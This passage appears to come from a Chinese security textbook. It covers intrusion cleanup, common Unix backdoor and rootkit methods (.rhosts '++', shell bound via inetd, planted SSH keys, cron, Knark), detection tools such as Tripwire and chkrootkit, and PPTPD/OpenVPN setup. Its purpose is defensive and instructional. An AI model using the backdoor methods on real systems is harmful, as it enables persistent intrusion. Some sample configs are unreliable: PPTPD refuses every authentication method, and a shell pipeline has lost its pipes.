入侵者经常会修改系统中的数据。所以建议对Web页面文件、FTP存档文件、用户目录下的文件以及其他的文件进行校验。

（3）检查入侵者留下的工具和数据

入侵者通常会在系统中安装一些工具，以便继续监视被侵入的系统。

入侵者一般会在系统中留下如下种类的文件：

网络监听工具：网络监听工具就是监视和记录网络行动的一种工具程序。入侵者通常会使用网络监听工具获得在网络上以明文进行传输的用户名和密码。

特洛伊木马程序：特洛伊木马程序能够在表面上执行某种功能，而实际上执行另外的功能。因此，入侵者可以使用特洛伊木马程序隐藏自己的行为，获得用户名和密码数据，建立后门以便将来再次访问被侵入系统。

安全缺陷攻击程序：系统运行存在安全缺陷的软件是其被侵入的一个主要原因。入侵者经常会使用一些针对已知安全缺陷的攻击工具，以此获得对系统的非法访问权限。这些工具通常会留在系统中，保存在一个隐蔽的目录中。

后门：后门程序将自己隐藏在被侵入的系统，入侵者通过它就能够不通过正常的系统验证，不必使用安全缺陷攻击程序就可以进入系统。

入侵者使用的其他工具

以上所列无法包括全部的入侵工具，攻击者在系统中可能还会留下其他入侵工具。这些工具包括：系统安全缺陷探测工具、对其他站点发起大规模探测的脚本、发起拒绝服务攻击的工具、使用被侵入主机计算和网络资源的程序、入侵工具的输出。

还有可能会发现入侵工具程序留下的一些日志文件，其中包含着其他相关站点，例如攻击者的“大本营”站点，或者是入侵者利用这一系统攻破的其他站点。

因此，建议对系统进行彻底的搜索，找出上面列出的工具及其输出文件。一定要注意：在搜索过程中，要使用没有被攻击者修改过的搜索工具拷贝。

搜索主要可以集中于以下方向：

检查UNIX 系统/dev/目录下意外的 ASCII 文件。一些特洛伊木马二进制文件使用的配置文件通常在/dev目录中。

仔细检查系统中的隐藏文件和隐藏目录。如果入侵者在系统中建立一个新的账户，那么这个新账户的起始目录以及他使用的文件可能是隐藏的。

检查一些名字非常奇怪的目录和文件，例如，...（三个点）、..（两个点）以及空白（在UNIX 系统中）。入侵者通常会在这样的目录中隐藏文件。对于 NT，应该检查那些名字和一些系统文件名非常接近的目录和文件。

（4）检查网络监听工具

入侵者侵入一个UNIX系统后，为了获得用户名和密码信息，一般会在系统上安装一个网络监听程序。对于NT，入侵者则通常使用远程管理程序实现上述目的。

判断系统是否被安装了监听工具，首先要看当前是否有网络接口处于混杂（Promiscuous）模式下。如果任何网络接口处于混杂模式下，就表示可能系统被安装了网络监听程序。使用ifconfig命令就可以知道系统网络接口是否处于混杂模式（注意一定使用没有被入侵者修改的ifconfig）：


    #/ifconfig -a


有一些工具程序可以用来检测系统内的监听程序：

cpm(Check Promiscuous Mode)--UNIX可以从以下地址下载：ftp://coast.cs.purdue.edu/pub/tools/unix/cpm/

ifstatus--UNIX可以从以下地址下载：ftp://coast.cs.purdue.edu/pub/tools/unix/ifstatus/

neped.c可以从以下地址得到：ftp://apostols.org/AposTolls/snoapshots/neped/neped.c

不过一些合法的网络监听程序和协议分析程序也会把网络接口设置为混杂模式，因此，检测到系统处于混杂模式后，还应当找出使用该设备的系统进程。在UNIX下面，可以使用lsof来找出。根据相应的进程名字，才可以断定是否这是一个入侵者建立的监听程序。

但是，在Phrack杂志的一篇文章（Phrack Magazine Volume 8，Issue 53 July 8，1998，article 10 of 15，Interface Promiscuity Obscurity）中，有人提供了一些针对FreeBSD、Linux、HP-UX、IRIX和Solaris系统的模块，可以擦除IFF_PROMISC标志位，从而无法通过检查设备的状态来发现监听程序的存在，因此，使用以上的方法后没有发现监听程序，并不说明入侵者没有在系统中安装这些工具。而且LKM（Loadable Kernel Model，可加载内核模块）的广泛应用，也增加了检测的难度。

还有一个应该注意的问题，监听程序的日志文件通常会增加较快。使用df或者find程序来发现变化过快的文件或者是比较大的文件，有时也可以发现监听程序的蛛丝马迹。使用lsof程序发现进程打开文件、设备的情况，也可以起到一定的作用。一旦在系统中发现了监听程序，建议检查监听程序的输出文件以确定哪些主机可能会面临攻击威胁。不过，一些监听程序会给日志文件加密以增加检查的难度。

5.检查网络上的其他系统和涉及的远程站点

除了已知被侵入的系统外，还应该对网络上所有的系统进行检查。主要检查和被侵入主机共享网络服务（例如NIS、NFS）或者通过一些机制（例如hosts.equiv、.rhosts文件，或者kerberos服务器）和被侵入主机相互信任的系统，以发现这些系统是否也被入侵。

可以使用CERT的入侵检测检查列表进行这一步检查工作。

http://www.cert.org/tech_tips/intruder_detection_checklist.html

http://www.cert.org/tech_tips/win_intruder_detection_checklist.html

在审查日志文件、入侵程序的输出文件和系统被侵入以来被修改的和新建立的文件时，要注意哪些站点可能会连接到被侵入的系统。根据经验那些连接到被侵入主机的站点，通常已经被侵入了。所以要尽快找出其他可能遭到入侵的系统，通知其管理人员。

6.评估入侵事件的影响，重建系统

以上所有对入侵的分析，都是为了对入侵所造成的影响进行恰当的评估，借以决定所应采取的措施，同时重建系统。重建系统相对来说要容易一些，只要考虑到以上步骤所得的结果，或者抹掉入侵者的痕迹、途径和其他安全隐患，重新试运行系统，或者是重新安装系统之后进行安全配置。一般说来，在系统重建之后，往往要经历一个试运行阶段，以判断是否目前的系统已经足够安全。

对入侵所造成的影响进行评估，是一件相当困难的过程。入侵所造成的损害，可以有以下几个方面：

对数据保密性的损害。发生入侵之后，需要判断哪些保密的数据有可能已经泄露，这些信息的泄露造成多大的影响，需要采取的应对措施造成的开销。

对数据完整性造成的损害。这些数据的损害、丢失所造成的影响。这些数据是否已经被传给了第三方，是否会因此承受其他损失。

声誉、信任度、媒体报道所造成的影响。这些影响所造成的潜在损失。

当然，影响不仅限于这些方面，尤其是当一次入侵事件广为人知时，所造成的损害更难以评估。

在评估出影响后，根据事件处理当中所得到的资料，组织可以决定出对此次事件是否采取一些追加措施。比如说，是否进行入侵追踪，是否借助于媒体进行一些公告，是否向入侵者来源地报告，是否提起法律诉讼等等。恰当的追加措施往往能够减少一部分由于入侵产生的不利影响。

由于进一步措施的采取涉及很多的法律问题，因此可以向组织的法律顾问进行咨询，在此我们就不进行详细的论述了。


6.2.2 后门的检查和清除


1.什么是后门

入侵者入侵后往往会清除自己留下的痕迹并留下再次进入的方便途径。清除所留的痕迹，主要涉及两个方面问题：如何来隐藏文件和如何来隐藏进程。为了隐藏文件，入侵者可以有多种选择：替换一些系统常用命令如“ls”"，“du”"，“fsck”；在底层方面，把硬盘里的一些区域标记为坏块并把文件放在那里；或者是，更有甚者，把文件放入引导块里。为了隐藏进程，也有多种选择，如替换“ps”程序，通过修改 argv[]来使程序看起来像一个合法的服务程序，或者是在内核进程列表中屏蔽该进程。

Rootkit就是其中最著名的一种。在rootkit中，包括了日志清理器、后门、伪造的ps、ls、who、w、netstat等程序，使用rootkit，可以使系统被入侵之后，管理员无法通过这些命令得到系统的准确的状态描述，并为入侵者提供一个再次进入的方便途径。最近新出现了一种技术，即 LKM 技术。它利用现代操作系统的模块技术，作为内核的一部分运行。这种 rootkit比传统技术更加强大且更不易被发觉。一旦被安装运行到目标系统上，察觉和清除就会变得分外困难。

在这些程序中，为入侵者提供一个方便下次进入途径的程序通常被称作后门。后门对于入侵者的意义有这样两点：一是防止管理员在给系统打补丁后，自己无法再次进入；二是防止其他入侵者进入。由于后门会给系统的安全带来极大的影响，因此在系统被入侵后，后门的清除就成了一个重要的问题。

2.常见的后门种类

后门程序的目的就是即使系统管理员已经弥补了系统漏洞，入侵者也可以取得对系统的访问权限。常见的后门有：修改配置文件、建立系统木马程序、修改系统内核等方法来实现入侵者以后从非特权用户使用root权限。

修改配置文件：修改配置文件是最简单的一种添加后门的方法，因此被广泛使用。通常入侵者比较喜欢修改的配置文件有：

（1）.rhosts文件。用户根目录下的.rhosts文件，通常被R协议用于判断主机和账号间的信赖关系。如果一个账号根目录下的.rhosts文件中含有“++”，则任何人在任何地方都可以不用密码用这个账号来登录。尤其是超级用户根目录下，更有可能出现。

（2）hosts.equiv文件。是系统信任主机的列表。

（3）inetd.conf文件或者是xinetd.d目录。通常是入侵者将一个shell绑定到一个特定的tcp端口，任何人telnet这个端口都可以获得交互的shell。通常是在该文件中增加或者修改一行来达到。

（4）ssh认证密钥。入侵者把自己的公共密钥放到目标机器的ssh配置文件“authorized_keys”里，从而可以用该账号来访问机器而不需要密码。

（5）Cron 后门。入侵者在 cron 增加或修改一些任务，在某个特定的时间程序运行，从而取得对系统的访问权限。

（6）启动任务。通常在/etc/rc.d/或者是/etc/rc?.d/下，入侵者可以增加一些启动的服务程序，这样自己可以利用这些服务程序取得对系统的控制。在修改这些配置文件时，经常还伴随着系统其他处文件的修改和增加。

建立系统木马程序：任何服务程序都可以成为木马来为远程用户提供访问权限。例如，通过修改in.telnetd或者是login程序，当入侵者输入某一定的密码时，即取得超级用户权限。入侵者通常习惯于更改的木马程序有：

（1）in.telnetd、login等登录程序。通过修改这些登录程序，入侵者通过自己定义的一个口令就可以取得系统的控制权。

（2）入侵者会修改一些系统的动态连接库来作为后门，这样做对入侵者的好处是一方面比较隐秘，另外一方面，被管理员检查出来的可能性要小一些。

（3）增加一些新的服务程序，通过inetd启动或者是通过rc脚本启动。这种后门对入侵者使用比较方便，但也比较容易被查出。

修改内核：如Knark，它是新一代的rootkit工具，它基于LKM（loadable kernel module）技术，可以有效地隐藏后门的信息。使用knark，可以

（1）隐藏或显示文件或目录；

（2）隐藏TCP或UDP连接；

（3）程序执行重定向；

（4）非授权的用户权限增加（“rootme”）；

（5）改变一个运行进程的UID/GID的工具；

（6）非授权的、特权程序远程执行守护进程；

（7）Kill –31来隐藏运行的进程。

联合使用程序执行重新定向和文件隐藏，入侵者能执行各种后门程序。由于执行重定向是在内核级别进行的，因此文件检测工具不会发现程序文件被修改，原始的执行程序并没有被修改，因此配置检测工具在路径环境中也不会发现任何异常。

如果Knark结合另外一个用来隐藏系统当前加载的模块的LKM工具modhide，就可能实现，甚至通过lsmod命令也不能发现knark的存在。Knark的作者还设计了一个Knark的清除程序knarkfinder，可以用来发现knark所隐藏的程序。

3.常用的检测和清除的工具软件

在了解了木马的种类后，事实上，木马的清除已经比较容易了。在这里我们只简要介绍一下其中可能会用到的工具软件。

（1）lsof

lsof 是一个用于查看进程所打开文件的工具。在系统恢复过程中使用这个工具，通常有如下两个意义：首先，可以发现一个正在运行的进程所打开的文件，这样，有助于通过可疑进程发现那些入侵者遗留物的具体位置；其次，可以用来发现某个端口所对应的进程，在系统恢复过程中，常常会用外部扫描程序来发现系统是否有木马存在，如果发现提供后门的端口，那么就需要确定这一端口是由哪个程序所占用，这时使用lsof程序，就能够达到这个目的。当然，lsof 的作用不止于此，它还能够对一些系统中出现的故障进行调试，这些我们这里就不论述了。lsof的作者是普度大学的Vic Abell。

通过进程来寻找该进程所使用的文件或设备，是lsof的最基本的功能。格式如下：lsof –p pid。有时，并不知道该进程的进程号，或者是想知道某个命令所使用的文件或设备，这时可以使用-c选项，lsof –c command，可以找出这个命令所打开的文件或设备。有时发现了一个入侵者的配置文件，希望知道哪些进程打开了这个配置文件，这时可以使用lsof filename来找出所有打开此文件的进程。

lsof在系统恢复过程中最常用的是其定位端口和进程关系这一能力。lsof的-i选项可以达到这个目的。lsof –iprotocol@host:port，其中protocol、host、port都可以省去，protocol可以是TCP、UDP等。例如：lsof –i@aaa.bbb.ccc将列出所有和aaa.bbb.ccc进行网络会话的进程，而lsof –iTCP@aaa.bbb.ccc则列出其中使用TCP连接的进程，lsof –iTCP@aaa.bbb.ccc:21则列出其中所有使用21端口的进程。通过这一方法，可以容易地发现与某一端口对应的进程，从而发现入侵者的遗留物。

（2）Tripwire

Tripwire 是一个完整性检测工具，用来检测对文件系统的未授权修改。它对于系统恢复和遗留物的发现十分有用。Tripwire 通过比较文件的数字摘要来判断一个文件是否被更改。这样已被添加、删除或更改内容的文件就可以被找出来，系统管理员能够因此采取相应的措施。Tripwire是由Eugene Spafford和Gene Kim 1992年在普度大学开发的，其软件包在1998年被商业化，现在由Tripwire Security Inc.来维护（http://www.tripwiresecurity.com）。该公司提供商业和免费两种版本的软件包，能在绝大多数UNIX系统中运行。为了准确地判断出文件内容是否被修改，Tripwire使用了10种单向哈西函数。其程序包括：RSA Data Security公司的MD5、MD4和MD2哈西函数；Snefru（Xerox 安全哈西函数）；SHA和Haval编码。它还包含两个传统的CRC过程。其缺省安装为每个数据条目使用两个签名，这使得攻击者通过填充额外字符来掩盖踪迹变得十分困难。

当第一次运行 Tripwire 时，程序创建一个签名的初始数据库。下一次运行时，它使用tw.config文件产生一个新的签名数据库。然后，它比较两个数据库，实施用户定义的任何屏蔽选项（排除经常更改的文件），最后通过电子邮件或显示器在终端上输出一个可读的报告。

Tripwire有四种操作模式：数据库生成、完整性检查、数据库更新或交互式更新。

数据库生成模式产生一个初始数据库，为未来的比较打下基础。

完整性检查是Tripwire的主要模式，把当前文件签名和初始数据库进行比较来进行检查。

两种更新模式是为了方便用户调整Tripwire数据库以去掉不感兴趣的结果或正常的系统变化而设立的。

Tripwire缺省使用MD5和Snefru算法进行校验，这两种算法一起提供强大的保护。不过同时也会消耗大量的CPU时间。因此对安全性和Tripwire性能之间进行均衡是很重要的，可以选择运行程序的6个签名算法及两个校验和中的任一个来保护文件。不过这些中有些算法开销很大，特别是Snefru运行很慢。绝大多数情况下，运行MD5一种就可以了。

Tripwire的配置文件可以让使用者精确地控制程序监测的文件和目录。文件tw.config包含一个这些文件和目录的列表，文件每一行与一个选项屏蔽相关联，告诉程序哪些文件属性的改变可以被忽略。

选项屏蔽由几个标志组成，每个标志包含一个不同的属性。例如“s”标志是文件大小，“a”是访问时间戳。每个标志前面的增加（“+”）或删除（“－”）符号表示是否应当监视后面的属性变化。一个tw.config条目如下：


    /home/xyz+s -a


意思是跟踪文件/home/xyz的文件大小变化而忽略文件访问时间的变化。

表6.1所示是一些常见标志的含意。


表6.1 常见标志的含意
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每个Tripwire签名过程被赋予一个标识，用户可以指明为文件或目录条目使用哪些算法（Tripwire缺省使用1和2）。Tripwire的签名编号如表6.2所示。


表6.2 Tripwire的签名编号
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Tripwire 很灵活，但选项可能比较复杂。设计者通过创建包含常用选项标志组合的模板来补偿这种复杂性。多数情况下，用户在tw.config中使用模板。5个主要模板如表6.3所示。


表6.3 常用选项标志组合的模板
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R模板是缺省的。这时Tripwire将在模式位、i节点号、链接数、uid、gid、文件大小、修改时间和MD5及Snefru签名有任何变化时进行报告。它将忽略访问和i节点时间戳的变化。

条目前的“!”是例外标志，如果条目是一个文件，则表示不含这一文件，如果条目是一个目录，则表示不含其中所有文件。“＝”标志表示“only”，如果后面的条目是一个目录，将只对目录进行监测而不包括其中的文件。

模板也可以与标志相混合。如“R - 2”表示缺省检测不使用Snefru。

在完成配置后，运行命令 tripwire 将使Tripwire 在完整性检查模式下运行，这时将进行比较并报告任何差异。

也可以在交互模式或数据库更新模式中运行 Tripwire。在交互模式中，每次发现一个文件或目录被增添、删除或修改时，都将提示用户更新数据库。输入命令 tripwire -interactive使Tripwire运行在交互模式下。数据库更新模式在命令行提供一种快速升级数据库的方法，假如刚安装了文件/usr/local/bin/new.file，可以用下面命令更新数据库：


    # tripwire -update /usr/local/bin/new.file


该命令也可以用来更新目录中所有的文件。

（3）chkrootkit

与以上两个具有通用功能的软件不同，chkrootkit 是专门为发现系统中的 rootkit 而设计的。它由一系列小的程序组成，基本上可以发现所有著名的后门程序。chkrootkit由七个小程序组成，主程序是chkrootkit，用于发现各种后门；其余的几个分别是ifpromisc，用于检测某个网络接口是否处于混杂模式；chklastlog、chkwtmp、chkwtmpx，用于检测系统的三个日志文件是否曾经遭到过破坏；chkproc，则用于发现LKM木马和隐藏的进程；strings，与UNIX自带的strings类似。

这个工具的使用很简单，在此就不详述了。值得注意的是，该程序只检测出各个遗留物的存在，它并没有消除这些遗留物，因此在检测之后，还应当采取措施将相应的后门和遗留物从系统中抹去。
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第7章 使用开源软件构建安全系统


CHAPTER 7


7.1 VPN的安装和设计


我们已经在第5章中介绍了常见的虚拟专用网（VPN）协议和类型，在建立VPN系统的时候，常常需要进行全面的考虑。在部署虚拟专用网时，需要考虑的几个要点是：

虚拟专用网所使用的网络有什么限制。例如，目前很多的网络运营商，并不允许GRE协议或者是IPSEC协议的数据包通过，因此这时采用PPTP或者是IPSEC就有一定的困难。

是在网关之间建立安全隧道，还是需要客户端先建立虚拟连接拨到服务器。这两者所保护的安全有较大程度的区别。对于前者来说，数据在网关之间传输时是安全的，因此常常用于一些具有分支机构的公司，将各个分支结构通过虚拟专用网统一起来而用。而对于后者来说，则更方便于外部不确定位置的员工访问内部资源时使用。这两者在建设时一个重要的不同点在于，前者对于用户来说是透明的，不需要在用户端做特殊的配置，而后者则不然，需要进行特殊配置，甚至有时需要用户安装特定的软件，这时一般需要考察Windows操作系统所支持VPN的类型。

首先介绍一下Windows 2000操作系统对VPN的支持情况，Windows 2000中包括三种类型的VPN技术：点对点隧道协议（PPTP）、L2TP以及IPSEC隧道模式。PPTP是在Windows NT 4.0 中引入的，它利用点对点协议（PPP）用户身份验证和Microsoft点对点加密（MPPE）来封装和加密 IP、IPX以及NetBEUI通信。由于有第2版的Microsoft质询握手身份验证协议（MS-CHAP v2）和强密码，PPTP是一种安全的VPN技术。对于不是基于密码的身份验证来说，Windows 2000可用扩展身份验证协议——传输层安全性（EAP-TLS）来支持智能卡。PPTP已受到广泛支持，它易于部署且可跨网络地址转换器（NAT）使用。

第二层隧道协议L2TP利用PPP用户身份验证和IP 安全（IPSEC）加密来封装和加密 IP、IPX以及NetBEUI 通信。这种组合（称为 L2TP/IPSEC）使用基于证书的计算机身份验证来创建安全的和加密的通道（IPSEC安全关联），然后使用基于PPP的用户身份验证来创建L2TP隧道。L2TP/IPSEC为每个数据包都提供数据完整性和数据身份验证。但是，L2TP/IPSEC需要使用公钥基本结构（PKI）来分配计算机证书，且只被Windows 2000 VPN客户端支持。

IPSEC隧道模式在隧道模式下使用封装安全有效负载（ESP）来封装和加密单路广播 IP通信。Windows 2000 IPSEC 隧道模式只用于路由器对路由器 VPN 连接，这是因为当前的IPSEC 标准并未指定用于为远程访问连接提供用户身份验证和地址分配的方法。

如果使用的是L2TP或者是IPSEC，则必须部署 PKI，PKI 可将计算机证书分配给VPN服务器和VPN客户端。虽然 Windows 2000支持许多新的和旧的 PPP身份验证协议，但是PPTP的MPPE加密仍需要使用MS-CHAP、MS-CHAP v2或EAP-TLS。如果没有智能卡，建议使用MS-CHAP v2。尽管由于PPP身份验证过程受IPSEC加密的保护而使L2TP无需特定的身份验证协议，但是仍建议使用MS-CHAP v2和EAP TLS。

安全的VPN连接要求对封装数据进行加密。要确保加密，需要为 VPN 连接创建远程访问策略（NAS端口类型设置为虚拟（VPN）），并清除该策略的配置文件设置的加密选项卡上的不加密复选框。此外，可通过选择或清除基本（对于 PPTP 和 L2TP来说，分别是 40 位MPPE和56位数据加密标准 [DES]）、强（对于 PPTP 和 L2TP 来说，分别是56位 MPPE和56位DES）或最强（对于 PPTP 和 L2TP 来说，分别是128位MPPE和3DES），来指定所需的加密级别。最强只能和 Windows 2000 High Encryption Pack 结合使用。

除了Windows操作系统自己支持的VPN之外，还有一些使用自定义协议的VPN解决方案。这方面最著名的就是 OpenVPN。OpenVPN 是一个强大、高度可配置、基于 ssl 的开源VPN软件。它具有多种验证方式以及许多强大的功能。OpenVPN工作在TCP/UDP层，使用SSL/TLS 协议进行网络传输。支持多种客户认证方法，如证书、smart cards，加上用户名密码的证书认证等。除此以外，还有强大的ACL功能限制客户的信息交换。OpenVPN可以运行在多种操作系统中，包括：Linux、Windows 2000/XP and higher、OpenBSD、FreeBSD、NetBSD、Mac OS X、Solaris。使用OpenVpn，可以实现：

使用特定UDP或TCP端口实现两台主机的之间的VPN连接。

实现C/S结构，实现多台Client通过Server服务器互联互通。

通过TLS/SSL加密保证数据传输的安全。

通过数据的压缩，提高数据传输的速度。

可以从http://openvpn.net/下载最新版本的openvpn 源代码包或者是安装包。

表7.1对基于几种常见的技术实现的VPN方案进行了比较。可以看出：

使用PPTPD建立VPN服务器，使用较为方便，能够较好地实现安全与易用性的折衷。服务器可以选择使用Linux或者是BSD系统，不需要安装任何客户端。

使用OpenVPN建立虚拟专用网，可以保证VPN的使用不受ISP防火墙过滤的影响，因此更易用于跨越不受控制的公网或者是上网地点不大确定的情况。

下面我们将分别介绍一下PPTPD和OpenVPN的安装和使用。


表7.1 几种VPN解决方案的对比
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续表
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7.1.1 PPTPD


1.PPTPD的安装过程

以下我们简要介绍一下在Debian Linux系统下面的安装过程。之所以选择Debian系统，是因为与Redhat相比，Debian的软件包管理相当方便，在软件包安装的时候，可以自动解决包之间的依赖性。

在Debian Linux操作系统上面安装PPTPD需要如下步骤：

首先要给VPN服务器的内核添加mppe补丁，从debian获取补丁：


    apt-get  install  kernel-patch-mppe


然后在当前内核对应的源代码目录，执行修补程序，


    #cd  /usr/src/kernel-source-2.6.8
    #/usr/src/kernel-patches/all/apply/mppe


在内核的ppp下，会多一个 mppe功能，把它编译成模块的形式，并安装，模块形式可以直接挂载，不用启动机器,修改/etc/modules,添加一行ppp_mppe就可以了。用以下命令检查内核MPPE补丁是否安装成功:


    #modprobe  ppp-compress-18


然后就可以安装PPTP服务程序和配置程序了。


    apt-get  install  pptpd  webmin-pptp-server


下面就可以直接进webmin对PPTPD进行设置了。一切按默认设置，要把[Enable MPPE encryption?]选项设置为[Must be used]，这样，就不用修改win客户端的安全默认设置了。用以下命令检查PPP是否支持MPPE:


    #strings  '/usr/sbin/pppd'  grep  -i  mppe  wc  --lines


2.PPTPD的配置

PPTPD的配置文件主要有如下几个：/etc/pptpd.conf是PPPTPD的配置文件，options.pptpd是PPTPD的配置文件，而/etc/ppp/chap-secrets则是用户的用户名/密码文件。

首先看/etc/pptpd.conf，下面是一个样本配置文件：


    debug
    option  /etc/ppp/options.pptpd
    localip 192.168.0.254 #本地VPN服务器的IP
    remoteip 192.168.1.1-254 #客户端被分配的IP范围


其次是options.pptpd，下面是一个样本配置文件。


    auth
    lock
    debug
    proxyarp
    lock
    name rh9vpn #VPN服务器的名字
    multilink
    refuse-pap
    refuse-chap
    refuse-mschap
    refuse-eap
    refuse-mschap-v2
    require-mppe
    ms-wins 192.168.1.2 #把想要在网络邻居中看到的机器的IP填写到这里
    ms-dns 192.168.1.2 #DNS服务器地址
    dump
    logfile /var/log/pptpd.log #日志存放的路径


最后是/etc/ppp/chap-secrets，这个文件中将要以明文的方式配置可以使用这个VPN的用户及其密码。


    #  client  server  secret  IP addresses
    "test@gd.cn" * "test" *


因为密码是明文显示的，最好能修改文件权限，使root作为owner和chmod 700。上面第二行代码的四项内容分别对应第一行中的四项。“test@gd.cn”是Client端的VPN用户名；“server”对应的是 VPN 服务器的名字，该名字必须和/etc/ppp/options.pptpd 文件中指明的一样，或者设置成“*”号来表示自动识别服务器；“secret”对应的是登录密码；“IP addresses”对应的是可以拨入的客户端IP地址，如果不需要做特别限制，可以将其设置为“*”号。

然后就可以设置IP伪装转发了，这样通过VPN连接上来的远程计算机才能互相ping通，实现像局域网那样的共享。用下面的命令进行设置：#echo 1 ＞/proc/sys/net/ipv4/ip_forward

可以将这条命令放到文件/etc/rc.d/rc.local里面，以实现每次开机时自动运行该命令。

然后配置Linux服务器的防火墙，将1723端口和47端口打开，并打开GRE协议。


    #/sbin/iptables  -A  INPUT  -p  tcp  --dport  1723  -j  ACCEPT
    #/sbin/iptables  -A  INPUT  -p  tcp  --dport  47  -j  ACCEPT
    #/sbin/iptables  -A  INPUT  -p  gre  -j  ACCEPT


到这里Linux服务器的设置就完成了，下面将利用Windows客户端进行测试。

3.客户端配置

打开“控制面板”-＞“网络连接”-＞“新建连接”，在弹出的“网络连接向导”窗口中，点击“下一步”。

在下一个页面选择“通过Internet连接到专用网络”，点击“下一步”。

输入VPN主机名（可以是IP地址或者域名），点击“下一步”。

创建此连接，选择“所有用户使用此连接”，点击“下一步”。

输入连接名称，如“VPN”，点击“完成”。

这时会生成一个名为“VPN”的新连接，点击这个图标，会弹出登录窗口，输入账号密码后登录即可。

4.常见问题

（1）在认证通过后，所有的网络流量均从VPN服务器发出，有的时候希望只是在访问某些地址的时候通过VPN服务器，缺省仍然是通过本机，这时候需要：

①打开网络连接，右键选择VPN连接、属性、网络，选择“Internet 协议”，属性、高级、常规，不选中“在远程网络上使用默认网关”即可。

②设置希望通过VPN服务器访问IP地址的路由：在Windows命令行下面输入：route ADD 要访问的网络，MASK 该网络的掩码，VPN 连接得到的地址。VPN 连接的地址可以通过ipconfig 得到。例如，VPN服务器的地址为202.38.120.250，连接成功后，通过ipconfig看到本地得到的地址为192.168.0.3，希望访问8网段的服务器时通过VPN访问，则可以：route add 166.111.8.0 255.255.255.0 192.168.0.3。

（2）上网的时候，发现开始正常，到了在网上注册计算机这一步的时候，出现错误734，PPP协议异常终止的错误，这有可能是因为防火墙的问题，请检查客户端是否部署了防火墙，该防火墙是否允许GRE协议。

（3）使用Windows XP连接VPN成功后，在传输“大块”数据时会出现数据堵塞，导致数据传输失败。这是由于 WindowsXP的一个Bug造成的。根据 TCP/IP协议，在建立 TCP连接时，传输双方都要指明自己的 mss（最大报文长度）大小，然后选取双方之中最小的那个mss，以避免在随后的数据传送过程中出现数据包分片传输的情况。然而Windows XP并没有这样做，因此导致发送大的数据包的同时，如果数据包标志为不能分段，就会被丢弃。解决方法很简单，就是借助iptalbes，设定主机B进行协商时提出的mss为1356。即在iptables里面加入一条规则：


    /sbin/iptables -A FORWARD -p tcp --syn -s 10.100.0.203 -j TCPMSS --set-mss 1356


因为mss是在TCP连接建立开始时，通过带有syn标志的IP数据包进行传输的，所以我们在iptables里面规定，在转发数据时，只要发现带有 syn标志并且源地址为主机B的IP数据包时，将其mss设定为1356字节，这样就与ppp0接口的路径MTU相匹配了。


7.1.2 OPENVPN


1.OPENVPN的安装

首先，Kernel必须支持TUN/TAP设备。在2.6.x内核中，对应的Kernel选项是“Universal TUN/TAP device driver support”。确认Kernel支持TUN/TAP后，可以下载OpenVPN编译并安装。从http://www.openvpn.se（http://www.openvpn.se/）下载安装包安装。安装完成后，在/etc/vpn 目录下，执行openvpn --daemon --config server.conf即可。OpenVPN带一个GUI小工具，会装在系统托盘里，点菜单里的 connect 即可。

2.OpenVPN Server端的配置

只说明在 Linux 下的配置。Windows 下的配置也类似。创建 /etc/vpn/server.conf，内容如下：


    port  1494
    proto  udp
    dev  tun
    ca  ca.crt
    cert  server.crt
    key  server.key
    dh  dh1024.pem
    server  10.1.0.0  255.255.255.0
    push  "route  10.1.0.0  255.255.255.0"
    push  "route  10.1.1.0  255.255.255.0"
    client-config-dir  /etc/vpn/ccd
    route  10.1.1.0  255.255.255.0
    client-to-client //让不同的client之间可以互相“看到”。
    keepalive 10 120 //每10秒ping一次，如果120秒没有回应则认为对方已经down。
    user  nobody
    group  nobody
    persist-key
    persist-tun
    log-append  openvpn.log
    verb  3


其中ca.crt，server.key,server.crt可以用OpenSSL创建，dh1024.pem用OpenVPN自带的工具创建。这个配置文件创建了两个网段：10.1.0.*和10.1.1.*，VPN服务器将从这两个网段中给Client分配IP地址。VPN Server自身IP 将是10.0.0.1。“client-config-dir”指明Client 的专有配置文件目录。在这个目录下可以针对特定用户建立配置文件。例如，要为用户abc指定一个 IP 地址（如 10.1.1.5）而不是让 VPN Server 自动分配，可以在配置目录/etc/vpn/ccd下建立一个abc文件，内容如下：


    ifconfig-push  10.1.1.5  10.1.1.6


那么VPN Server 就会自动给abc用户分配10.1.1.5 这个地址。注意第一个IP地址的最后一个数字（这里是5）必须是4n+1 的数。问题是，VPN Server 怎么知道哪个用户是abc呢？它是Client数字证书中的Common Name 域来判断的。就是说，在连接协商时如果Client 端数字证书的Common Name是abc，那么VPN Server就找配置目录下abc这个文件。

对于客户端，从Server中生成ca.crt ,win.crt,win.key文件并拷贝到Windows上。在命令行运行：


    openvpn  --config  win.ovpn


如果要将openvpn做成服务，运行：


    openvpnsev.exe  -install


这样就可以在服务中找到openvpn服务了。

当openvpn作为服务时，会到config文件夹寻找ovpn后缀的配置文件。生成的日志会放在log文件夹中。在 Client 机器上OpenVPN安装目录的config目录下建立如下client.ovpn文件：


    client
    dev tun  //使用tunnel的模块
    proto  udp
    remote  vpn_server_ip  1494
    ca  ca.crt
    cryptoapicert  "SUBJ:  abc"
    nobind
    persist-key
    persist-tun
    verb 3   //设置日志要记录的级别。3 只记录错误信息。4 能记录普通的信息。5 和 6 在连接出现问题时能帮助调试，9是极端的，所有信息都会显示，甚至连包头等信息都显示（像tcpdump）
    mute 20 //相同信息的数量，如果连续出现20条相同的信息，将不记录到日志中。


修改remote 一行填上对应VPN Server 的IP和端口。ca.crt 和服务端ca.crt一样，必须把这个ca.crt也放在config目录下。

关键是cryptoapicert "SUBJ: abc" 这行。这一行指定客户端的数字证书从Windows证书Store 里取。在IE的“选项→内容→证书”页面能看到用户的个人数字证书。SUBJ:abc指明选择证书主题中含有 abc 的证书。客户端数字证书也可以用以前贴的 ca 工具生成，如果要给用户abc签发数字证书，只用指明Common Name 是abc即可，然后把生成的abc.p12传给abc用户并告诉导入口令。abc导入这个数字证书后，VPN Client就可以工作了。

3.其他配置

（1）控制运行中的openvpn进程

在配置文件中加入writepid参数指定pid文件。

SIGUSR1——以非root的身份重启openvpn进程。

SIGHUP——重启。

SIGUSR2——输出连接统计到log文件。

SIGTERM,SIGINT——exit。

（2）通过User/Pass登录VPN

首先需要建立/etc/pam.d/openvpn文件如下：


    auth       required  pam_pwdfile.so  pwdfile  /etc/openvpn/passwd_vpn
    account  required  pam_permit.so


这样就可以使用/etc/ openvpn/passwd_vpn文件来存储用户名/密码了。


    public:$1$1reO.OK/$lqn  O7k5i4pztKWlU3.


这一行中用户名为public，密码加密后在:之后。可以使用如下的脚本来得到这样的输出：


    #!  /usr/bin/perl  -w
    use  strict;
    #  filter  "user:cleartext"  lines  into  "user:md5_crypted"
    #  probably  requires  glibc
